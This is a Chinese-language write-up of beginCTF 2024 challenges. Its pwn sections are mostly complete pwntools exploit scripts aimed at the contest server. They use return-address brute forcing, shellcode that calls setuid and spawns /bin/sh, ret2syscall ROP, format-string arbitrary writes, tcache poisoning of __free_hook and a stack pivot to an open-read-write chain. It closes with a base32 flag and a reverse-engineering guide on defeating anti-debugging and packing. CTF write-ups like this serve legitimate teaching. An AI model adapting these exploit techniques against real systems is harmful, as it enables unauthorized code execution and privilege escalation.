pwn one_byte 刚刚好能覆盖返回地址一个字节,看了一下返回地址是一个libc的地址,29dxx,把29dxx附件的汇编看了一遍,没有很直接的输出函数,或者是跳转到输出函数的汇编,。那这时候的思路是把一个字节爆破一遍,把有输出的字节全部记录下来,最后发现在 \x89那回到了main函数,把下一位flag输出出来了
1 2 .text:0000000000029D89 48 8B 44 24 08 mov rax, [rsp+98h+var_90] .text:0000000000029D8E FF D0 call rax
mov rax [rsp + 8] 刚刚好取到了main函数的起始地址,然后由于输出flag是根据rbp 加一个偏移去取flag字符的地址,重新call flag的时候 rbp更新,刚刚好取到下边,太巧妙了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *from LibcSearcher import *import itertoolsimport ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) is_debug = 1 IP = "101.32.220.189" PORT = 32371 elf = context.binary = ELF('./one_byte' ) libc = elf.libc def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) p = connect() payload = b'a' * 0x11 + b'\x89' flag = b'' for i in range (70 ): try : sa("Are you satisfied with the result?\n" ,payload) ru("gift: " ) flag += r(1 ) except : pass print (flag)p.interactive()
unhappy 确实是unhappy,想了半天,限制了h用不了64位的寄存器,卡在写binsh那一步了,在想有什么方法可以写寄存器高三十二位,后面发现,能不能再syscall一次read,这样就能绕过前面的cmp了
爆破 哪些指令不能用的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *from LibcSearcher import *import itertoolsimport ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) is_debug = 1 IP = "101.32.220.189" PORT = 32371 elf = context.binary = ELF('./unhappy' ) libc = elf.libc def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) bytecodes = [bytes ([i]) for i in range (256 )] disablebytecode = [bytes ([i]) for i in b"happyHAPPY" ] result = [] for k in range (1 ,4 ): for i in itertools.product(bytecodes, repeat = k): s = b"" for j in range (len (i)): if (i[j] not in disablebytecode): s = b"" break s += i[j] if s != b"" : result.append(s) print (len (result))with open ("disable.txt" ,"w" ) as f: for i in result: l = disasm(i) f.write(l + '\n' )
exp 远程打过去,flag要root权限才能读,Unhappy文件的属主是root,查了一下有一个叫setuid的系统调用能修改子进程的权限
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *from LibcSearcher import *import itertoolsimport ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) is_debug = 0 IP = "101.32.220.189" PORT = 32227 elf = context.binary = ELF('./unhappy' ) libc = elf.libc def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) p = connect() shellcode = asm(''' xor eax,eax xor edi,edi syscall ''' )s(shellcode) shellcode = asm('nop' ) * 0x7 shellcode += asm(''' mov rax,105 mov rdi,0 syscall mov rax,0x68732f6e69622f push rax push rsp pop rdi push 0x3b pop rax xor esi, esi xor edx, edx syscall ''' )s(shellcode) p.interactive()
gift_rop 看了一下,是静态链接的程序,那就是ret2syscall了,有rdi rsi rdx的gadget,也有binsh,fd 1 2关了,但是可以重定向0 ,cat flag>&0就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *from LibcSearcher import *import itertoolsimport ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) is_debug = 0 IP = "101.32.220.189" PORT = 32113 elf = context.binary = ELF('./gift_rop' ) libc = elf.libc def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) p = connect() rdi = 0x0000000000401f2f rsi = 0x0000000000409f9e rdx = 0x000000000047f20b syscall = 0x0000000000401ce4 rax = 0x0000000000448077 binsh = 0x00000000004c50f0 ru("problem.\n" ) payload = flat([ b'a' * (0x20 + 0x8 ), rax,0x3b ,rdi,binsh,rsi,0 ,rdx,0 ,0 ,syscall ]) s(payload) p.interactive()
no_money $禁用了,不能用%n$n这种方式去写数据,调试了一会,尝试了一些假设后发现,用大量的%p%p%p%n来模拟这个%n$n的效果是可行的,原来格式化字符串是这样解析的,学到了,远程的栈布局和本地有些小差别,需要注意一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int i; char buf[72 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); init(argc, argv, envp); puts ("Welcome to beginCTF again!" ); puts ("I'm sorry to tell you that We don't have the funds." ); puts ("So I will not give you $." ); while ( 1 ) { puts ("Your payload:" ); read(0 , buf, 0x100 uLL); for ( i = 0 ; i <= 255 ; ++i ) { if ( buf[i] == 36 ) exit (-1 ); } printf (buf); check_target(); } }
1 2 3 4 5 6 7 8 9 int check_target () { int result; result = target; if ( target ) return system("/bin/sh" ); return result; }
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *from LibcSearcher import *import itertoolsimport ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) is_debug = 0 IP = "101.32.220.189" PORT = 30144 elf = context.binary = ELF('./no_money' ) libc = elf.libc def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) p = connect() payload = b"%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p" sa("Your payload:\n" ,payload) ru("-(nil)-" ) ru("-(nil)-" ) ru("-(nil)-" ) elf_base = int (r(14 ),16 ) - (0x55769f50f277 - 0x55769f50e000 ) success(hex (elf_base)) target = elf_base + 0x404C payload = b"%p%p%p%p%p%p%p%p%p%p%p%nbbbbbbbb" + p64(target) sa("Your payload:\n" ,payload) p.interactive()
ezpwn 咱是笨蛋没有看到有个gift,一直在想怎么泄露libc的地址,%s,command和buf挨着,都初始化了一遍,后面发现有个gift,那直接把返回地址的低位改了,返回地址刚刚好也是一个elf的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *from LibcSearcher import *import itertoolsimport ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) is_debug = 0 IP = "101.32.220.189" PORT = 32610 elf = context.binary = ELF('./ezpwn' ) libc = elf.libc def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) def write_data_one_byte (idx,data ): sla("Input your choice.\n" ,"1" ) sla("Please input index.\n" ,str (idx)) sla("please input value\n" ,data) def command (command ): sla("Input your choice.\n" ,"2" ) sa("Please input your echo command" ,command) p = connect() write_data_one_byte(0x220 + 0x8 ,chr (0x51 ) + chr (0x51 )) sla("Input your choice.\n" ,"4" ) p.interactive()
zeheap 学了一天堆,调了大半天,终于出了。
首先是怎么绕过这个标记位 mark,可以发现除了free都会对这个标记位进行检查,在free那存在一个uaf,绕过这个标记位,可以通过 create(0) -> delete(0) ->create(1),这样list里面就有两个相同的地址,通过0去free,那就得到了一个tcache chunk,可以通过1去编辑 访问。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 unsigned __int64 creat () { int v0; unsigned int v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); puts ("num:" ); __isoc99_scanf("%d" , &v2); if ( v2 <= 0xF && !mark[v2] ) { v0 = v2; *((_QWORD *)&list + v0) = malloc (0x80 uLL); memset (*((void **)&list + (int )v2), 0 , 0x80 uLL); mark[v2] = 1 ; } return __readfsqword(0x28 u) ^ v3; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 unsigned __int64 delete () { unsigned int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("num:" ); __isoc99_scanf("%d" , &v1); if ( v1 <= 0xF ) { free (*((void **)&list + (int )v1)); mark[v1] = 0 ; } return __readfsqword(0x28 u) ^ v2; }
利用思路是2.32之前malloc malloc hook free hook还没有删除,在执行free之前会有这样的操作,malloc也是一样,去写malloc hook 或者free hook就能劫持控制流,具体怎么写,2.31 unsorted bin attack已经不可行了,但是可以改tcachebin的next为 malloc hook的地址,那分配的时候就会分配到malloc hook那,那怎么样才能知道malloc hook的地址呢,只有一个unsortedbin的时候 fd和bk都是指向main_arena,这个main_arena是一个libc相关的地址,首先把tcache填满,然后free掉一个堆块,这个堆块就是unsortedbin,通过uaf去 show unsortedbin中的数据去泄露libc的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 from pwn import *from LibcSearcher import *import itertoolsimport ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) is_debug = 0 IP = "101.32.220.189" PORT = 32131 elf = context.binary = ELF('./zeheap' ) libc = elf.libc def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) def create (num ): sla("choose:\n" ,"1" ) sla("num:\n" ,str (num)) def edit (num,context ): sla("choose:\n" ,"2" ) sla("num:\n" ,str (num)) sa("read:\n" ,context) def show (num ): sla("choose:\n" ,"3" ) sla("num:\n" ,str (num)) def delete (num ): sla("choose:\n" ,"4" ) sla("num:\n" ,str (num)) p = connect() create(11 ) delete(11 ) create(12 ) delete(11 ) show(12 ) r(8 ) heap_base = u64(ru(b"\x00" )[:-1 ].ljust(8 ,b'\x00' )) - 0x10 success(hex (heap_base)) create(11 ) for i in range (9 ): create(i) for i in range (8 ): delete(i) for i in range (7 ): create(i) create(9 ) for i in range (7 ): create(i) for i in range (7 ): delete(i) delete(7 ) show(9 ) r(8 ) libc_base = u64(ru(b"\x00" )[:-1 ].ljust(8 ,b'\x00' )) - (0x7fe5b65adbe0 - 0x7fe5b63c1000 ) free_hook= libc_base + libc.sym['__free_hook' ] success(hex (libc_base)) success(hex (free_hook)) create(0 ) delete(6 ) edit(0 ,p64(free_hook)) create(1 ) create(2 ) system = libc_base + libc.sym['system' ] edit(2 ,p64(system)) payload = b"/bin/sh" edit(1 ,payload) delete(1 ) p.interactive()
cat 去查询了一下 strcat 是在字符串结尾添加一个新字符串,strcpy是把字符串复制到一个新的位置,结尾会有\x00。这一题有canary,那思路是read buf的时候把canary的低位填充,这样通过strcat往后边写rop,然后再用strcpy把canary的低位补回去。后面发现有一个backdoor函数,不用打ret2libc了
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { setbuf(stdin , 0LL ); setbuf(_bss_start, 0LL ); setbuf(stderr , 0LL ); puts ("read:" ); read(0 , a1, 0x100 uLL); puts ("read:" ); read(0 , a2, 0x100 uLL); vul(a1, a2); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 unsigned __int64 __fastcall vul (const char *a1, const char *a2) { __int64 buf[2 ]; char dest[8 ]; __int64 v5; char v6[8 ]; __int64 v7; unsigned __int64 v8; v8 = __readfsqword(0x28 u); buf[0 ] = 0LL ; buf[1 ] = 0LL ; *(_QWORD *)dest = 0LL ; v5 = 0LL ; *(_QWORD *)v6 = 0LL ; v7 = 0LL ; puts ("read:" ); read(0 , buf, 0x100 uLL); strcat (dest, a1); strcpy (v6, a2); return v8 - __readfsqword(0x28 u); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *from LibcSearcher import *import itertoolsimport ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) is_debug = 0 IP = "101.32.220.189" PORT = 31147 elf = context.binary = ELF('./cat' ) libc = elf.libc def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) cat_flag = 0x4011FE p = connect() payload = b"a" * 2 payload += p64(cat_flag) sa("read:\n" ,payload) sa("read:\n" ,b'a' * (0x20 - 8 )) sa("read:\n" ,b'a' * (0x40 - 0x7 )) p.interactive()
aladdin 第一次做 格式化字符串不在栈上的题目,发现只有任意地址写和任意地址读 和 栈上格式化字符串有些差别,但是可以找一个 双重指针 去写地址,这样问题就解决了
这个题目还有一个沙箱,把execve禁用了,我查了一下有一个叫execveat的系统调用,但是没有找到修改r8寄存器的gadget,就打orw了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 int __cdecl main (int argc, const char **argv, const char **envp) { __int16 v4; __int16 *v5; __int16 v6; char v7; char v8; int v9; __int16 v10; char v11; char v12; int v13; __int16 v14; char v15; char v16; int v17; __int16 v18; char v19; char v20; int v21; __int16 v22; char v23; char v24; int v25; unsigned __int64 v26; v26 = __readfsqword(0x28 u); v6 = 32 ; v7 = 0 ; v8 = 0 ; v9 = 0 ; v10 = 21 ; v11 = 1 ; v12 = 0 ; v13 = 59 ; v14 = 53 ; v15 = 1 ; v16 = 0 ; v17 = 0 ; v18 = 6 ; v19 = 0 ; v20 = 0 ; v21 = 327680 ; v22 = 6 ; v23 = 0 ; v24 = 0 ; v25 = 2147418112 ; v4 = 5 ; v5 = &v6; prctl(38 , 1LL , 0LL , 0LL , 0LL ); prctl(22 , 2LL , &v4); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); puts ("Aladdin's lamp will grant you three wishes" ); while ( --chance ) { printf ("your %d wish:\n" , (unsigned int )chance); memset (wish, 0 , sizeof (wish)); read(0 , wish, 0x100 uLL); if ( strstr (wish, "one more wish" ) ) { puts ("no way!" ); break ; } printf (wish); } printf ("The wonderful lamp is broken" ); return 0 ; }
思路是 找一个双重指针去写 printf函数的返回地址实现 没有次数限制的格式化字符串 还有劫持控制流,然后用格式化字符串把rbp和rbp + 8 修改成 wish和 leave ret的地址,在read的时候把orw的rop链写到wish里面,然后栈迁移过去打orw
远程环境栈布局有些不同,36 - 51 这个指针 远程要改成36 - 52
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 from pwn import *from LibcSearcher import *import itertoolsimport ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) is_debug = 0 IP = "101.32.220.189" PORT = 30727 elf = context.binary = ELF('./aladdin' ) libc = elf.libc def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) p = connect() payload = "%7$p-%35$p-%17$p" sla("wish:\n" ,payload) stack_addr = int (r(14 ),16 ) ru("-" ) libc_base = int (r(14 ),16 ) - (0x7f089c229e40 - 0x7f089c200000 ) ru("-" ) elf_base = int (r(14 ),16 ) - (0x555555555229 - 0x555555554000 ) wish = elf_base + 0x4060 success(f"stack_addr ->{hex (stack_addr)} " ) success(f"libc_base ->{hex (libc_base)} " ) success(f"elf_base ->{hex (elf_base)} " ) success(f"chance_addr ->{hex (wish)} " ) printf_return_addr = stack_addr - (0x7fffffffe190 - 0x7fffffffe178 ) rbp_addr = printf_return_addr + (0x7ffd5abd41d0 - 0x7ffd5abd4188 ) ret_addr = rbp_addr + 8 success(f"printf_return_addr ->{hex (printf_return_addr)} " ) success(f"rbp_addr ->{hex (rbp_addr)} " ) success(f"ret_addr ->{hex (ret_addr)} " ) payload = "%" + str (printf_return_addr & 0xffff ) + "c%36$hn" sa("wish:\n" ,payload) wish = wish - 8 wish += 0x10 payload = "%" + str (0x66 ) + "c%52$hhn" payload += "%" + str ((rbp_addr & 0xffff ) - 0x66 ) + "c%22$hn" rl() time.sleep(1.5 ) s(payload) payload = "%" + str (0x66 ) + "c%52$hhn" payload += "AAAA%" + str ((wish & 0xffff ) - 0x66 - 4 ) + "c%49$hn" time.sleep(1.5 ) s(payload) payload = "%" + str (0x66 ) + "c%52$hhn" payload += "AAAA%" + str ((rbp_addr & 0xffff ) + 2 - 0x66 - 4 ) + "c%22$hn" time.sleep(1.5 ) s(payload) payload = "%" + str (0x66 ) + "c%52$hhn" payload += "AAAA%" + str (((wish >> 16 ) & 0xffff ) - 0x66 - 4 ) + "c%49$hn" time.sleep(1.5 ) s(payload) payload = "%" + str (0x66 ) + "c%52$hhn" payload += "AAAA%" + str ((rbp_addr & 0xffff ) + 4 - 0x66 - 4 ) + "c%22$hn" time.sleep(1.5 ) s(payload) payload = "%" + str (0x66 ) + "c%52$hhn" payload += "AAAA%" + str (((wish >> 32 ) & 0xffff ) - 0x66 - 4 ) + "c%49$hn" time.sleep(1.5 ) s(payload) leave_ret = libc_base + 0x000000000004da83 payload = "%" + str (0x66 ) + "c%52$hhn" payload += "AAAA%" + str ((ret_addr & 0xffff ) - 0x66 - 4 ) + "c%22$hn" time.sleep(1.5 ) s(payload) payload = "%" + str (0x66 ) + "c%52$hhn" payload += "AAAA%" + str (((leave_ret) & 0xffff ) - 0x66 - 4 ) + "c%49$hn" time.sleep(1.5 ) s(payload) payload = "%" + str (0x66 ) + "c%52$hhn" payload += "AAAA%" + str ((ret_addr & 0xffff ) + 2 - 0x66 - 4 ) + "c%22$hn" time.sleep(1.5 ) s(payload) payload = "%" + str (0x66 ) + "c%52$hhn" payload += "AAAA%" + str (((leave_ret >> 16 ) & 0xffff ) - 0x66 - 4 ) + "c%49$hn" time.sleep(1.5 ) s(payload) open = libc_base + libc.sym['open' ]read = libc_base + libc.sym['read' ] write = libc_base + libc.sym['write' ] rdi = libc_base + 0x000000000002a3e5 rsi = libc_base + 0x000000000002be51 rdx = libc_base + 0x00000000000796a2 payload = b"%" + str (0xf8 ).encode() + b"c%52$hhn" payload = payload.ljust(0x10 ,b"a" ) payload += flat([ rdi,0 ,rsi,wish,rdx,0xf ,read, rdi,wish,rsi,0 ,open , rdi,3 ,rsi,wish,rdx,0x30 ,read, rdi,1 ,rsi,wish,rdx,0x30 ,write ]) time.sleep(1.5 ) s(payload) time.sleep(1.5 ) s(b'./flag\x00\x00' ) p.interactive()
misc real check in 看出现的字符范围,一看就是base32
1 MJSWO2LOPNLUKTCDJ5GWKX3UN5PUEM2HNFXEGVCGL4ZDAMRUL5EDAUDFL5MU6VK7O5UUYMK7GEYWWZK7NE3X2===
1 begin{WELCOMe_to_B3GinCTF_2024_H0Pe_YOU_wiL1_11ke_i7}
Forensics 逆向工程(reverse)入门指南 https://blog.csdn.net/weixin_43605586/article/details/102925973
全选粘贴 得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 beginctf_reverse入门 指南 可执行文件 EXE 脱壳 手动 ESP定律 内存镜像法 在程序入口的附近都有一个很大的jmp 工具 反调试 调用系统IsDebuggerPresent等系统API 调用PEB结构体中的成员 TLS回调函数 SEH结构体异常化 枚举进程名称等其他方式 创建线程循环校验 根据代码执行时间判断是否被调试 混淆 花指令 Nop掉 Ollvm deflat.py脚本 ida d810插件 虚拟化保护 仔细分析程序各个处理块、还原出原本的伪汇编 指令 SMC,自修改代码:指在程序运行过程中会对程 序自身的代码段进行解密或更改,使静态分析无 法直接获取程序的执行信息。可以用idapython进 行脚本patch还原解密过程 双进程 通过创建子进程并进行进程间通信实现反调试和 加解密的操作 完成解密后dump进程内存 win32程序 windows窗口创建找winproc函数、分析各类信息 的处理块 ELF 反调试 利用ptrace进行反调试 花指令 识别并nop fork 父子进程通信 安卓 静态分析 java层 使用jadx反汇编smail代码 静态分析 native层 native 使用ida分析.so文件中的代码 观察是否有 JNI_Onload 动态注册函数 动态反调试 调用系统函数 父进程ID检测 如果不可以调试 修改程序流程即可 java层 修改.smail中的字节码 并重新打包 native层 对.so文件进行patch 并替换原的.so文件 安卓加壳 使用反射大师进行脱壳 利用xposed框架或者frida框架进行hook 不可执行文件 非x86汇编语言 unicorn模拟执行 qemu模拟执行 python字节码 pycdc uncompyle AST 语法树 其它语言源码 非c语言编译程序 rust 有符号看符号,没符号动调看逻辑 c# dnspy反编译,de4dot反混淆 go ida新版本支持恢复符号,旧版本ida找go恢复符 号的插件,注意64位go语言的调用约定与c不一 样 e语言 ida插件 c++ 静态分析加动态调试分析类结构还原程序逻辑 lua 字节码魔改 字节码反编译 分析方法 静态分析 熟悉程序的加载流程 不同的编译器会有不同的变化:start- >init_array->main->fini_array或者start- >initterm->tlscallback->main->cexit 函数调用约定 cdecl stdcall fastcall thiscall 各种程序的主函数位置 命令行:main 窗口:winproc go: main_main c#: assembly-CSharp.dll 动态调试 int3中断 最常用的中断类型,直接将中断位置的汇编改为 int3,可以被crc检测到 内存读写中断 将当前位置的可读可写权限进行更改,当当前位 置被访问或更改的时候断下来 硬件断点 根据cpu提供的cr*寄存器进行断点,不会被crc检 测 常用技巧 在等待外部输入时断下来,可以断在scanf等输 入函数内部,通过层层返回父函数至程序主逻辑 处。 对输入的字符下硬件断点只观察对输入的检测或 更改操作简化分析、也可通过对输入的更改进行 猜测函数的作用 加密算法识别 加解密 常见编码:如Base64 注意是否换表、utf-8、 unicode等 对称加密:TEA、XTEA、XXTEA、RC4、 blowfish、aes、des等、可以用ida findcrypt插 件识别常见算法。同时注意常规的加密算法是否 被魔改 非对称加密:rsa 有时候也会有万进制之类的大数计算 自定义的加密要自己设计解密算法 方程组求解问题用python z3库约束求解 迷宫问题 获取正确的迷宫Map 注意起点、终点以及障碍物 分析迷宫的走法 : 不一定都是wasd 单步走 注意是否为多层迷宫 其他游戏贪吃蛇、数独、数织等等.. tips 在解决算法逆向是 尽量使用c语言还原 (数据类型一定要与加密时一 致)。同时要注意数据是 有符号还是无符号的 有时候如果明文空间不大的话 可以采用爆破的 方式。对单个字节进行加密并没有进行字符间的 混淆操作可以对密文进行逐字节爆破。 可能通过loadlibrary + GetProcAddress的方式 隐式调用。也可以通过对程序名进行hash后通过 hash验证来隐式调用库函数。 查看AndroidManifest.xml 中 \<application> 元 素中是否包含了 android:debuggable="true" begin{0kay_1_thiNK_YoU_Ar3_a1Re@DY_rE4D_6uiDe8ooK_AnD_9OT_FL46}